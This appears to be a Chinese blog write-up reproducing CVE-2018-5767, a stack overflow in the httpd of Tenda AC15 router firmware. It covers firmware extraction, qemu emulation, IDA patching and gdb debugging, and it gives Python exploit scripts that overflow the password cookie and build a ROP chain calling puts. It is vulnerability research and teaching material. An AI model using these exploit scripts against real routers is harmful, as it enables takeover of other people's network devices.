CVE-2018-5767 tenda固件栈溢出漏洞

路由器固件型号:

Tenda AC15 15.03.1.16_multi

固件下载地址:

https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

binwalk分离

binwalk -Me US-bin

漏洞点:

在squashfs-root/bin/httpd
可以通过

readelf -h httpd

来查看文件的信息(架构)
image.png

环境配置

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .

运行指令

sudo  qemu-arm-static ../bin/httpd

运行的时候在lib文件夹里运行,否则会缺库,但我还是报错了www
image.png

解决方法

用ida打开,搜索WeLoveLinux
image.png
image.png
师傅们说的是这里构成了死循环要把CMP R3,#0给patch掉,就可以了
image.png
image.png
假如patch的时候遇见
image.png
可以不用管,也不要叉就行(我是这样做的)
image.png

然后保存即可
image.png
运行发现还是出错
image.png
再用ida看一下,发现第二个判断发现也赋值了0;

image.png
patch成1即可

网关配置

运行时
image.png
ip并不是本机ip,这是因为我们没有设置虚拟网关br0

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24

然后重新运行即可
image.png

漏洞分析

根据CVE公布的poc可知,漏洞点在R7WebsSecurityHandler函数

IDA

image.png
这里未对用户的输入是否合理进行检测,导致存在栈溢出。
我们要利用这个栈溢出需要满足image.png
访问的路径不在上述存在,构造一个虚构地址即可,例/goform/blonet
尝试输入垃圾数据,测试漏洞。

sudo  qemu-arm-static -g 1234 ../bin/httpd
gdb-multiarch ./httpd
target remote :1234
b *0x002ED18 #断点下在漏洞函数结束处即可
continue
python3 exp.py

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

image.png
发现程序没有运行到断点处,bt查看一下,发现0x0002c5cc处的函数被溢出执行了。
image.png
应该是被这影响了。
那就修改一下exp,再试试

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)

image.png
可以发现成功溢出了。
因为qemu的不会开启未开启基址随机化的特性,可以通过vmmap查看libc基地址。
image.png
这里不知道为什么我这没有libc,不懂。www
通过ropgadget查找gadget

0x00040cb8  mov r0, sp; blx r3;
0x00018298  pop {r3, pc};

利用exp

    import requests
    from pwn import *
    
    base = 0xf65e5000
    libc = ELF('./lib/libc.so.0')
    
    puts = base+libc.sym['puts']
    _str = "Hello\x00"
    mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
    pop_r3 = base+0x00018298 # pop {r3, pc};
    URL = "http://192.168.7.44:80/goform/hello"
    pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
    cookie = {"Cookie":"password="+pl}
    requests.get(url=URL, cookies=cookie)

别用python3(会把心态搞崩的)
image.png

posted @   津门湖志津香  阅读(42)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示